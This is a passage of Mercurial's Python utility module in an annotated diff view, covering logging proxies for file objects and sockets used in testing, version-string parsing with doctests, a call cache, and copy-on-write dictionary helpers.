573 r'write', *args, **kwargs)
571
574
572 def detach(self, *args, **kwargs):
575 def detach(self, *args, **kwargs):
573 return object.__getattribute__(self, r'_observedcall')(
576 return object.__getattribute__(self, r'_observedcall')(
574 r'detach', *args, **kwargs)
577 r'detach', *args, **kwargs)
575
578
576 def read1(self, *args, **kwargs):
579 def read1(self, *args, **kwargs):
577 return object.__getattribute__(self, r'_observedcall')(
580 return object.__getattribute__(self, r'_observedcall')(
578 r'read1', *args, **kwargs)
581 r'read1', *args, **kwargs)
579
582
580 class observedbufferedinputpipe(bufferedinputpipe):
583 class observedbufferedinputpipe(bufferedinputpipe):
581 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
584 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
582
585
583 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
586 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
584 bypass ``fileobjectproxy``. Because of this, we need to make
587 bypass ``fileobjectproxy``. Because of this, we need to make
585 ``bufferedinputpipe`` aware of these operations.
588 ``bufferedinputpipe`` aware of these operations.
586
589
587 This variation of ``bufferedinputpipe`` can notify observers about
590 This variation of ``bufferedinputpipe`` can notify observers about
588 ``os.read()`` events. It also re-publishes other events, such as
591 ``os.read()`` events. It also re-publishes other events, such as
589 ``read()`` and ``readline()``.
592 ``read()`` and ``readline()``.
590 """
593 """
591 def _fillbuffer(self):
594 def _fillbuffer(self):
592 res = super(observedbufferedinputpipe, self)._fillbuffer()
595 res = super(observedbufferedinputpipe, self)._fillbuffer()
593
596
594 fn = getattr(self._input._observer, r'osread', None)
597 fn = getattr(self._input._observer, r'osread', None)
595 if fn:
598 if fn:
596 fn(res, _chunksize)
599 fn(res, _chunksize)
597
600
598 return res
601 return res
599
602
600 # We use different observer methods because the operation isn't
603 # We use different observer methods because the operation isn't
601 # performed on the actual file object but on us.
604 # performed on the actual file object but on us.
602 def read(self, size):
605 def read(self, size):
603 res = super(observedbufferedinputpipe, self).read(size)
606 res = super(observedbufferedinputpipe, self).read(size)
604
607
605 fn = getattr(self._input._observer, r'bufferedread', None)
608 fn = getattr(self._input._observer, r'bufferedread', None)
606 if fn:
609 if fn:
607 fn(res, size)
610 fn(res, size)
608
611
609 return res
612 return res
610
613
611 def readline(self, *args, **kwargs):
614 def readline(self, *args, **kwargs):
612 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
615 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
613
616
614 fn = getattr(self._input._observer, r'bufferedreadline', None)
617 fn = getattr(self._input._observer, r'bufferedreadline', None)
615 if fn:
618 if fn:
616 fn(res)
619 fn(res)
617
620
618 return res
621 return res
619
622
620 PROXIED_SOCKET_METHODS = {
623 PROXIED_SOCKET_METHODS = {
621 r'makefile',
624 r'makefile',
622 r'recv',
625 r'recv',
623 r'recvfrom',
626 r'recvfrom',
624 r'recvfrom_into',
627 r'recvfrom_into',
625 r'recv_into',
628 r'recv_into',
626 r'send',
629 r'send',
627 r'sendall',
630 r'sendall',
628 r'sendto',
631 r'sendto',
629 r'setblocking',
632 r'setblocking',
630 r'settimeout',
633 r'settimeout',
631 r'gettimeout',
634 r'gettimeout',
632 r'setsockopt',
635 r'setsockopt',
633 }
636 }
634
637
635 class socketproxy(object):
638 class socketproxy(object):
636 """A proxy around a socket that tells a watcher when events occur.
639 """A proxy around a socket that tells a watcher when events occur.
637
640
638 This is like ``fileobjectproxy`` except for sockets.
641 This is like ``fileobjectproxy`` except for sockets.
639
642
640 This type is intended to only be used for testing purposes. Think hard
643 This type is intended to only be used for testing purposes. Think hard
641 before using it in important code.
644 before using it in important code.
642 """
645 """
643 __slots__ = (
646 __slots__ = (
644 r'_orig',
647 r'_orig',
645 r'_observer',
648 r'_observer',
646 )
649 )
647
650
648 def __init__(self, sock, observer):
651 def __init__(self, sock, observer):
649 object.__setattr__(self, r'_orig', sock)
652 object.__setattr__(self, r'_orig', sock)
650 object.__setattr__(self, r'_observer', observer)
653 object.__setattr__(self, r'_observer', observer)
651
654
652 def __getattribute__(self, name):
655 def __getattribute__(self, name):
653 if name in PROXIED_SOCKET_METHODS:
656 if name in PROXIED_SOCKET_METHODS:
654 return object.__getattribute__(self, name)
657 return object.__getattribute__(self, name)
655
658
656 return getattr(object.__getattribute__(self, r'_orig'), name)
659 return getattr(object.__getattribute__(self, r'_orig'), name)
657
660
658 def __delattr__(self, name):
661 def __delattr__(self, name):
659 return delattr(object.__getattribute__(self, r'_orig'), name)
662 return delattr(object.__getattribute__(self, r'_orig'), name)
660
663
661 def __setattr__(self, name, value):
664 def __setattr__(self, name, value):
662 return setattr(object.__getattribute__(self, r'_orig'), name, value)
665 return setattr(object.__getattribute__(self, r'_orig'), name, value)
663
666
664 def __nonzero__(self):
667 def __nonzero__(self):
665 return bool(object.__getattribute__(self, r'_orig'))
668 return bool(object.__getattribute__(self, r'_orig'))
666
669
667 __bool__ = __nonzero__
670 __bool__ = __nonzero__
668
671
669 def _observedcall(self, name, *args, **kwargs):
672 def _observedcall(self, name, *args, **kwargs):
670 # Call the original object.
673 # Call the original object.
671 orig = object.__getattribute__(self, r'_orig')
674 orig = object.__getattribute__(self, r'_orig')
672 res = getattr(orig, name)(*args, **kwargs)
675 res = getattr(orig, name)(*args, **kwargs)
673
676
674 # Call a method on the observer of the same name with arguments
677 # Call a method on the observer of the same name with arguments
675 # so it can react, log, etc.
678 # so it can react, log, etc.
676 observer = object.__getattribute__(self, r'_observer')
679 observer = object.__getattribute__(self, r'_observer')
677 fn = getattr(observer, name, None)
680 fn = getattr(observer, name, None)
678 if fn:
681 if fn:
679 fn(res, *args, **kwargs)
682 fn(res, *args, **kwargs)
680
683
681 return res
684 return res
682
685
683 def makefile(self, *args, **kwargs):
686 def makefile(self, *args, **kwargs):
684 res = object.__getattribute__(self, r'_observedcall')(
687 res = object.__getattribute__(self, r'_observedcall')(
685 r'makefile', *args, **kwargs)
688 r'makefile', *args, **kwargs)
686
689
687 # The file object may be used for I/O. So we turn it into a
690 # The file object may be used for I/O. So we turn it into a
688 # proxy using our observer.
691 # proxy using our observer.
689 observer = object.__getattribute__(self, r'_observer')
692 observer = object.__getattribute__(self, r'_observer')
690 return makeloggingfileobject(observer.fh, res, observer.name,
693 return makeloggingfileobject(observer.fh, res, observer.name,
691 reads=observer.reads,
694 reads=observer.reads,
692 writes=observer.writes,
695 writes=observer.writes,
693 logdata=observer.logdata,
696 logdata=observer.logdata,
694 logdataapis=observer.logdataapis)
697 logdataapis=observer.logdataapis)
695
698
696 def recv(self, *args, **kwargs):
699 def recv(self, *args, **kwargs):
697 return object.__getattribute__(self, r'_observedcall')(
700 return object.__getattribute__(self, r'_observedcall')(
698 r'recv', *args, **kwargs)
701 r'recv', *args, **kwargs)
699
702
700 def recvfrom(self, *args, **kwargs):
703 def recvfrom(self, *args, **kwargs):
701 return object.__getattribute__(self, r'_observedcall')(
704 return object.__getattribute__(self, r'_observedcall')(
702 r'recvfrom', *args, **kwargs)
705 r'recvfrom', *args, **kwargs)
703
706
704 def recvfrom_into(self, *args, **kwargs):
707 def recvfrom_into(self, *args, **kwargs):
705 return object.__getattribute__(self, r'_observedcall')(
708 return object.__getattribute__(self, r'_observedcall')(
706 r'recvfrom_into', *args, **kwargs)
709 r'recvfrom_into', *args, **kwargs)
707
710
708 def recv_into(self, *args, **kwargs):
711 def recv_into(self, *args, **kwargs):
709 return object.__getattribute__(self, r'_observedcall')(
712 return object.__getattribute__(self, r'_observedcall')(
710 r'recv_info', *args, **kwargs)
713 r'recv_info', *args, **kwargs)
711
714
712 def send(self, *args, **kwargs):
715 def send(self, *args, **kwargs):
713 return object.__getattribute__(self, r'_observedcall')(
716 return object.__getattribute__(self, r'_observedcall')(
714 r'send', *args, **kwargs)
717 r'send', *args, **kwargs)
715
718
716 def sendall(self, *args, **kwargs):
719 def sendall(self, *args, **kwargs):
717 return object.__getattribute__(self, r'_observedcall')(
720 return object.__getattribute__(self, r'_observedcall')(
718 r'sendall', *args, **kwargs)
721 r'sendall', *args, **kwargs)
719
722
720 def sendto(self, *args, **kwargs):
723 def sendto(self, *args, **kwargs):
721 return object.__getattribute__(self, r'_observedcall')(
724 return object.__getattribute__(self, r'_observedcall')(
722 r'sendto', *args, **kwargs)
725 r'sendto', *args, **kwargs)
723
726
724 def setblocking(self, *args, **kwargs):
727 def setblocking(self, *args, **kwargs):
725 return object.__getattribute__(self, r'_observedcall')(
728 return object.__getattribute__(self, r'_observedcall')(
726 r'setblocking', *args, **kwargs)
729 r'setblocking', *args, **kwargs)
727
730
728 def settimeout(self, *args, **kwargs):
731 def settimeout(self, *args, **kwargs):
729 return object.__getattribute__(self, r'_observedcall')(
732 return object.__getattribute__(self, r'_observedcall')(
730 r'settimeout', *args, **kwargs)
733 r'settimeout', *args, **kwargs)
731
734
732 def gettimeout(self, *args, **kwargs):
735 def gettimeout(self, *args, **kwargs):
733 return object.__getattribute__(self, r'_observedcall')(
736 return object.__getattribute__(self, r'_observedcall')(
734 r'gettimeout', *args, **kwargs)
737 r'gettimeout', *args, **kwargs)
735
738
736 def setsockopt(self, *args, **kwargs):
739 def setsockopt(self, *args, **kwargs):
737 return object.__getattribute__(self, r'_observedcall')(
740 return object.__getattribute__(self, r'_observedcall')(
738 r'setsockopt', *args, **kwargs)
741 r'setsockopt', *args, **kwargs)
739
742
740 class baseproxyobserver(object):
743 class baseproxyobserver(object):
741 def _writedata(self, data):
744 def _writedata(self, data):
742 if not self.logdata:
745 if not self.logdata:
743 if self.logdataapis:
746 if self.logdataapis:
744 self.fh.write('\n')
747 self.fh.write('\n')
745 self.fh.flush()
748 self.fh.flush()
746 return
749 return
747
750
748 # Simple case writes all data on a single line.
751 # Simple case writes all data on a single line.
749 if b'\n' not in data:
752 if b'\n' not in data:
750 if self.logdataapis:
753 if self.logdataapis:
751 self.fh.write(': %s\n' % stringutil.escapestr(data))
754 self.fh.write(': %s\n' % stringutil.escapestr(data))
752 else:
755 else:
753 self.fh.write('%s> %s\n'
756 self.fh.write('%s> %s\n'
754 % (self.name, stringutil.escapestr(data)))
757 % (self.name, stringutil.escapestr(data)))
755 self.fh.flush()
758 self.fh.flush()
756 return
759 return
757
760
758 # Data with newlines is written to multiple lines.
761 # Data with newlines is written to multiple lines.
759 if self.logdataapis:
762 if self.logdataapis:
760 self.fh.write(':\n')
763 self.fh.write(':\n')
761
764
762 lines = data.splitlines(True)
765 lines = data.splitlines(True)
763 for line in lines:
766 for line in lines:
764 self.fh.write('%s> %s\n'
767 self.fh.write('%s> %s\n'
765 % (self.name, stringutil.escapestr(line)))
768 % (self.name, stringutil.escapestr(line)))
766 self.fh.flush()
769 self.fh.flush()
767
770
768 class fileobjectobserver(baseproxyobserver):
771 class fileobjectobserver(baseproxyobserver):
769 """Logs file object activity."""
772 """Logs file object activity."""
770 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
773 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
771 logdataapis=True):
774 logdataapis=True):
772 self.fh = fh
775 self.fh = fh
773 self.name = name
776 self.name = name
774 self.logdata = logdata
777 self.logdata = logdata
775 self.logdataapis = logdataapis
778 self.logdataapis = logdataapis
776 self.reads = reads
779 self.reads = reads
777 self.writes = writes
780 self.writes = writes
778
781
779 def read(self, res, size=-1):
782 def read(self, res, size=-1):
780 if not self.reads:
783 if not self.reads:
781 return
784 return
782 # Python 3 can return None from reads at EOF instead of empty strings.
785 # Python 3 can return None from reads at EOF instead of empty strings.
783 if res is None:
786 if res is None:
784 res = ''
787 res = ''
785
788
786 if self.logdataapis:
789 if self.logdataapis:
787 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
790 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
788
791
789 self._writedata(res)
792 self._writedata(res)
790
793
791 def readline(self, res, limit=-1):
794 def readline(self, res, limit=-1):
792 if not self.reads:
795 if not self.reads:
793 return
796 return
794
797
795 if self.logdataapis:
798 if self.logdataapis:
796 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
799 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
797
800
798 self._writedata(res)
801 self._writedata(res)
799
802
800 def readinto(self, res, dest):
803 def readinto(self, res, dest):
801 if not self.reads:
804 if not self.reads:
802 return
805 return
803
806
804 if self.logdataapis:
807 if self.logdataapis:
805 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
808 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
806 res))
809 res))
807
810
808 data = dest[0:res] if res is not None else b''
811 data = dest[0:res] if res is not None else b''
809 self._writedata(data)
812 self._writedata(data)
810
813
811 def write(self, res, data):
814 def write(self, res, data):
812 if not self.writes:
815 if not self.writes:
813 return
816 return
814
817
815 # Python 2 returns None from some write() calls. Python 3 (reasonably)
818 # Python 2 returns None from some write() calls. Python 3 (reasonably)
816 # returns the integer bytes written.
819 # returns the integer bytes written.
817 if res is None and data:
820 if res is None and data:
818 res = len(data)
821 res = len(data)
819
822
820 if self.logdataapis:
823 if self.logdataapis:
821 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
824 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
822
825
823 self._writedata(data)
826 self._writedata(data)
824
827
825 def flush(self, res):
828 def flush(self, res):
826 if not self.writes:
829 if not self.writes:
827 return
830 return
828
831
829 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
832 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
830
833
831 # For observedbufferedinputpipe.
834 # For observedbufferedinputpipe.
832 def bufferedread(self, res, size):
835 def bufferedread(self, res, size):
833 if not self.reads:
836 if not self.reads:
834 return
837 return
835
838
836 if self.logdataapis:
839 if self.logdataapis:
837 self.fh.write('%s> bufferedread(%d) -> %d' % (
840 self.fh.write('%s> bufferedread(%d) -> %d' % (
838 self.name, size, len(res)))
841 self.name, size, len(res)))
839
842
840 self._writedata(res)
843 self._writedata(res)
841
844
842 def bufferedreadline(self, res):
845 def bufferedreadline(self, res):
843 if not self.reads:
846 if not self.reads:
844 return
847 return
845
848
846 if self.logdataapis:
849 if self.logdataapis:
847 self.fh.write('%s> bufferedreadline() -> %d' % (
850 self.fh.write('%s> bufferedreadline() -> %d' % (
848 self.name, len(res)))
851 self.name, len(res)))
849
852
850 self._writedata(res)
853 self._writedata(res)
851
854
852 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
855 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
853 logdata=False, logdataapis=True):
856 logdata=False, logdataapis=True):
854 """Turn a file object into a logging file object."""
857 """Turn a file object into a logging file object."""
855
858
856 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
859 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
857 logdata=logdata, logdataapis=logdataapis)
860 logdata=logdata, logdataapis=logdataapis)
858 return fileobjectproxy(fh, observer)
861 return fileobjectproxy(fh, observer)
859
862
860 class socketobserver(baseproxyobserver):
863 class socketobserver(baseproxyobserver):
861 """Logs socket activity."""
864 """Logs socket activity."""
862 def __init__(self, fh, name, reads=True, writes=True, states=True,
865 def __init__(self, fh, name, reads=True, writes=True, states=True,
863 logdata=False, logdataapis=True):
866 logdata=False, logdataapis=True):
864 self.fh = fh
867 self.fh = fh
865 self.name = name
868 self.name = name
866 self.reads = reads
869 self.reads = reads
867 self.writes = writes
870 self.writes = writes
868 self.states = states
871 self.states = states
869 self.logdata = logdata
872 self.logdata = logdata
870 self.logdataapis = logdataapis
873 self.logdataapis = logdataapis
871
874
872 def makefile(self, res, mode=None, bufsize=None):
875 def makefile(self, res, mode=None, bufsize=None):
873 if not self.states:
876 if not self.states:
874 return
877 return
875
878
876 self.fh.write('%s> makefile(%r, %r)\n' % (
879 self.fh.write('%s> makefile(%r, %r)\n' % (
877 self.name, mode, bufsize))
880 self.name, mode, bufsize))
878
881
879 def recv(self, res, size, flags=0):
882 def recv(self, res, size, flags=0):
880 if not self.reads:
883 if not self.reads:
881 return
884 return
882
885
883 if self.logdataapis:
886 if self.logdataapis:
884 self.fh.write('%s> recv(%d, %d) -> %d' % (
887 self.fh.write('%s> recv(%d, %d) -> %d' % (
885 self.name, size, flags, len(res)))
888 self.name, size, flags, len(res)))
886 self._writedata(res)
889 self._writedata(res)
887
890
888 def recvfrom(self, res, size, flags=0):
891 def recvfrom(self, res, size, flags=0):
889 if not self.reads:
892 if not self.reads:
890 return
893 return
891
894
892 if self.logdataapis:
895 if self.logdataapis:
893 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
896 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
894 self.name, size, flags, len(res[0])))
897 self.name, size, flags, len(res[0])))
895
898
896 self._writedata(res[0])
899 self._writedata(res[0])
897
900
898 def recvfrom_into(self, res, buf, size, flags=0):
901 def recvfrom_into(self, res, buf, size, flags=0):
899 if not self.reads:
902 if not self.reads:
900 return
903 return
901
904
902 if self.logdataapis:
905 if self.logdataapis:
903 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
906 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
904 self.name, size, flags, res[0]))
907 self.name, size, flags, res[0]))
905
908
906 self._writedata(buf[0:res[0]])
909 self._writedata(buf[0:res[0]])
907
910
908 def recv_into(self, res, buf, size=0, flags=0):
911 def recv_into(self, res, buf, size=0, flags=0):
909 if not self.reads:
912 if not self.reads:
910 return
913 return
911
914
912 if self.logdataapis:
915 if self.logdataapis:
913 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
916 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
914 self.name, size, flags, res))
917 self.name, size, flags, res))
915
918
916 self._writedata(buf[0:res])
919 self._writedata(buf[0:res])
917
920
918 def send(self, res, data, flags=0):
921 def send(self, res, data, flags=0):
919 if not self.writes:
922 if not self.writes:
920 return
923 return
921
924
922 self.fh.write('%s> send(%d, %d) -> %d' % (
925 self.fh.write('%s> send(%d, %d) -> %d' % (
923 self.name, len(data), flags, len(res)))
926 self.name, len(data), flags, len(res)))
924 self._writedata(data)
927 self._writedata(data)
925
928
926 def sendall(self, res, data, flags=0):
929 def sendall(self, res, data, flags=0):
927 if not self.writes:
930 if not self.writes:
928 return
931 return
929
932
930 if self.logdataapis:
933 if self.logdataapis:
931 # Returns None on success. So don't bother reporting return value.
934 # Returns None on success. So don't bother reporting return value.
932 self.fh.write('%s> sendall(%d, %d)' % (
935 self.fh.write('%s> sendall(%d, %d)' % (
933 self.name, len(data), flags))
936 self.name, len(data), flags))
934
937
935 self._writedata(data)
938 self._writedata(data)
936
939
937 def sendto(self, res, data, flagsoraddress, address=None):
940 def sendto(self, res, data, flagsoraddress, address=None):
938 if not self.writes:
941 if not self.writes:
939 return
942 return
940
943
941 if address:
944 if address:
942 flags = flagsoraddress
945 flags = flagsoraddress
943 else:
946 else:
944 flags = 0
947 flags = 0
945
948
946 if self.logdataapis:
949 if self.logdataapis:
947 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
950 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
948 self.name, len(data), flags, address, res))
951 self.name, len(data), flags, address, res))
949
952
950 self._writedata(data)
953 self._writedata(data)
951
954
952 def setblocking(self, res, flag):
955 def setblocking(self, res, flag):
953 if not self.states:
956 if not self.states:
954 return
957 return
955
958
956 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
959 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
957
960
958 def settimeout(self, res, value):
961 def settimeout(self, res, value):
959 if not self.states:
962 if not self.states:
960 return
963 return
961
964
962 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
965 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
963
966
964 def gettimeout(self, res):
967 def gettimeout(self, res):
965 if not self.states:
968 if not self.states:
966 return
969 return
967
970
968 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
971 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
969
972
970 def setsockopt(self, level, optname, value):
973 def setsockopt(self, level, optname, value):
971 if not self.states:
974 if not self.states:
972 return
975 return
973
976
974 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
977 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
975 self.name, level, optname, value))
978 self.name, level, optname, value))
976
979
977 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
980 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
978 logdata=False, logdataapis=True):
981 logdata=False, logdataapis=True):
979 """Turn a socket into a logging socket."""
982 """Turn a socket into a logging socket."""
980
983
981 observer = socketobserver(logh, name, reads=reads, writes=writes,
984 observer = socketobserver(logh, name, reads=reads, writes=writes,
982 states=states, logdata=logdata,
985 states=states, logdata=logdata,
983 logdataapis=logdataapis)
986 logdataapis=logdataapis)
984 return socketproxy(fh, observer)
987 return socketproxy(fh, observer)
985
988
986 def version():
989 def version():
987 """Return version information if available."""
990 """Return version information if available."""
988 try:
991 try:
989 from . import __version__
992 from . import __version__
990 return __version__.version
993 return __version__.version
991 except ImportError:
994 except ImportError:
992 return 'unknown'
995 return 'unknown'
993
996
994 def versiontuple(v=None, n=4):
997 def versiontuple(v=None, n=4):
995 """Parses a Mercurial version string into an N-tuple.
998 """Parses a Mercurial version string into an N-tuple.
996
999
997 The version string to be parsed is specified with the ``v`` argument.
1000 The version string to be parsed is specified with the ``v`` argument.
998 If it isn't defined, the current Mercurial version string will be parsed.
1001 If it isn't defined, the current Mercurial version string will be parsed.
999
1002
1000 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1003 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1001 returned values:
1004 returned values:
1002
1005
1003 >>> v = b'3.6.1+190-df9b73d2d444'
1006 >>> v = b'3.6.1+190-df9b73d2d444'
1004 >>> versiontuple(v, 2)
1007 >>> versiontuple(v, 2)
1005 (3, 6)
1008 (3, 6)
1006 >>> versiontuple(v, 3)
1009 >>> versiontuple(v, 3)
1007 (3, 6, 1)
1010 (3, 6, 1)
1008 >>> versiontuple(v, 4)
1011 >>> versiontuple(v, 4)
1009 (3, 6, 1, '190-df9b73d2d444')
1012 (3, 6, 1, '190-df9b73d2d444')
1010
1013
1011 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1014 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1012 (3, 6, 1, '190-df9b73d2d444+20151118')
1015 (3, 6, 1, '190-df9b73d2d444+20151118')
1013
1016
1014 >>> v = b'3.6'
1017 >>> v = b'3.6'
1015 >>> versiontuple(v, 2)
1018 >>> versiontuple(v, 2)
1016 (3, 6)
1019 (3, 6)
1017 >>> versiontuple(v, 3)
1020 >>> versiontuple(v, 3)
1018 (3, 6, None)
1021 (3, 6, None)
1019 >>> versiontuple(v, 4)
1022 >>> versiontuple(v, 4)
1020 (3, 6, None, None)
1023 (3, 6, None, None)
1021
1024
1022 >>> v = b'3.9-rc'
1025 >>> v = b'3.9-rc'
1023 >>> versiontuple(v, 2)
1026 >>> versiontuple(v, 2)
1024 (3, 9)
1027 (3, 9)
1025 >>> versiontuple(v, 3)
1028 >>> versiontuple(v, 3)
1026 (3, 9, None)
1029 (3, 9, None)
1027 >>> versiontuple(v, 4)
1030 >>> versiontuple(v, 4)
1028 (3, 9, None, 'rc')
1031 (3, 9, None, 'rc')
1029
1032
1030 >>> v = b'3.9-rc+2-02a8fea4289b'
1033 >>> v = b'3.9-rc+2-02a8fea4289b'
1031 >>> versiontuple(v, 2)
1034 >>> versiontuple(v, 2)
1032 (3, 9)
1035 (3, 9)
1033 >>> versiontuple(v, 3)
1036 >>> versiontuple(v, 3)
1034 (3, 9, None)
1037 (3, 9, None)
1035 >>> versiontuple(v, 4)
1038 >>> versiontuple(v, 4)
1036 (3, 9, None, 'rc+2-02a8fea4289b')
1039 (3, 9, None, 'rc+2-02a8fea4289b')
1037 """
1040 """
1038 if not v:
1041 if not v:
1039 v = version()
1042 v = version()
1040 parts = remod.split('[\+-]', v, 1)
1043 parts = remod.split('[\+-]', v, 1)
1041 if len(parts) == 1:
1044 if len(parts) == 1:
1042 vparts, extra = parts[0], None
1045 vparts, extra = parts[0], None
1043 else:
1046 else:
1044 vparts, extra = parts
1047 vparts, extra = parts
1045
1048
1046 vints = []
1049 vints = []
1047 for i in vparts.split('.'):
1050 for i in vparts.split('.'):
1048 try:
1051 try:
1049 vints.append(int(i))
1052 vints.append(int(i))
1050 except ValueError:
1053 except ValueError:
1051 break
1054 break
1052 # (3, 6) -> (3, 6, None)
1055 # (3, 6) -> (3, 6, None)
1053 while len(vints) < 3:
1056 while len(vints) < 3:
1054 vints.append(None)
1057 vints.append(None)
1055
1058
1056 if n == 2:
1059 if n == 2:
1057 return (vints[0], vints[1])
1060 return (vints[0], vints[1])
1058 if n == 3:
1061 if n == 3:
1059 return (vints[0], vints[1], vints[2])
1062 return (vints[0], vints[1], vints[2])
1060 if n == 4:
1063 if n == 4:
1061 return (vints[0], vints[1], vints[2], extra)
1064 return (vints[0], vints[1], vints[2], extra)
1062
1065
1063 def cachefunc(func):
1066 def cachefunc(func):
1064 '''cache the result of function calls'''
1067 '''cache the result of function calls'''
1065 # XXX doesn't handle keywords args
1068 # XXX doesn't handle keywords args
1066 if func.__code__.co_argcount == 0:
1069 if func.__code__.co_argcount == 0:
1067 cache = []
1070 cache = []
1068 def f():
1071 def f():
1069 if len(cache) == 0:
1072 if len(cache) == 0:
1070 cache.append(func())
1073 cache.append(func())
1071 return cache[0]
1074 return cache[0]
1072 return f
1075 return f
1073 cache = {}
1076 cache = {}
1074 if func.__code__.co_argcount == 1:
1077 if func.__code__.co_argcount == 1:
1075 # we gain a small amount of time because
1078 # we gain a small amount of time because
1076 # we don't need to pack/unpack the list
1079 # we don't need to pack/unpack the list
1077 def f(arg):
1080 def f(arg):
1078 if arg not in cache:
1081 if arg not in cache:
1079 cache[arg] = func(arg)
1082 cache[arg] = func(arg)
1080 return cache[arg]
1083 return cache[arg]
1081 else:
1084 else:
1082 def f(*args):
1085 def f(*args):
1083 if args not in cache:
1086 if args not in cache:
1084 cache[args] = func(*args)
1087 cache[args] = func(*args)
1085 return cache[args]
1088 return cache[args]
1086
1089
1087 return f
1090 return f
1088
1091
1089 class cow(object):
1092 class cow(object):
1090 """helper class to make copy-on-write easier
1093 """helper class to make copy-on-write easier
1091
1094
1092 Call preparewrite before doing any writes.
1095 Call preparewrite before doing any writes.
1093 """
1096 """
1094
1097
1095 def preparewrite(self):
1098 def preparewrite(self):
1096 """call this before writes, return self or a copied new object"""
1099 """call this before writes, return self or a copied new object"""
1097 if getattr(self, '_copied', 0):
1100 if getattr(self, '_copied', 0):
1098 self._copied -= 1
1101 self._copied -= 1
1099 return self.__class__(self)
1102 return self.__class__(self)
1100 return self
1103 return self
1101
1104
1102 def copy(self):
1105 def copy(self):
1103 """always do a cheap copy"""
1106 """always do a cheap copy"""
1104 self._copied = getattr(self, '_copied', 0) + 1
1107 self._copied = getattr(self, '_copied', 0) + 1
1105 return self
1108 return self
1106
1109
1107 class sortdict(collections.OrderedDict):
1110 class sortdict(collections.OrderedDict):
1108 '''a simple sorted dictionary
1111 '''a simple sorted dictionary
1109
1112
1110 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1113 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1111 >>> d2 = d1.copy()
1114 >>> d2 = d1.copy()
1112 >>> d2
1115 >>> d2
1113 sortdict([('a', 0), ('b', 1)])
1116 sortdict([('a', 0), ('b', 1)])
1114 >>> d2.update([(b'a', 2)])
1117 >>> d2.update([(b'a', 2)])
1115 >>> list(d2.keys()) # should still be in last-set order
1118 >>> list(d2.keys()) # should still be in last-set order
1116 ['b', 'a']
1119 ['b', 'a']
1117 '''
1120 '''
1118
1121
1119 def __setitem__(self, key, value):
1122 def __setitem__(self, key, value):
1120 if key in self:
1123 if key in self:
1121 del self[key]
1124 del self[key]
1122 super(sortdict, self).__setitem__(key, value)
1125 super(sortdict, self).__setitem__(key, value)
1123
1126
1124 if pycompat.ispypy:
1127 if pycompat.ispypy:
1125 # __setitem__() isn't called as of PyPy 5.8.0
1128 # __setitem__() isn't called as of PyPy 5.8.0
1126 def update(self, src):
1129 def update(self, src):
1127 if isinstance(src, dict):
1130 if isinstance(src, dict):
1128 src = src.iteritems()
1131 src = src.iteritems()
1129 for k, v in src:
1132 for k, v in src:
1130 self[k] = v
1133 self[k] = v
1131
1134
1132 class cowdict(cow, dict):
1135 class cowdict(cow, dict):
1133 """copy-on-write dict
1136 """copy-on-write dict
1134
1137
1135 Be sure to call d = d.preparewrite() before writing to d.
1138 Be sure to call d = d.preparewrite() before writing to d.
1136
1139
1137 >>> a = cowdict()
1140 >>> a = cowdict()
1138 >>> a is a.preparewrite()
1141 >>> a is a.preparewrite()
1139 True
1142 True
1140 >>> b = a.copy()
1143 >>> b = a.copy()
1141 >>> b is a
1144 >>> b is a
1142 True
1145 True
1143 >>> c = b.copy()
1146 >>> c = b.copy()
1144 >>> c is a
1147 >>> c is a
1145 True
1148 True
1146 >>> a = a.preparewrite()
1149 >>> a = a.preparewrite()
1147 >>> b is a
1150 >>> b is a
1148 False
1151 False
1149 >>> a is a.preparewrite()
1152 >>> a is a.preparewrite()
1150 True
1153 True
1151 >>> c = c.preparewrite()
1154 >>> c = c.preparewrite()
1152 >>> b is c
1155 >>> b is c
1153 False
1156 False
1154 >>> b is b.preparewrite()
1157 >>> b is b.preparewrite()
1155 True
1158 True
1156 """
1159 """
1157
1160
1158 class cowsortdict(cow, sortdict):
1161 class cowsortdict(cow, sortdict):
1159 """copy-on-write sortdict
1162 """copy-on-write sortdict
1160
1163
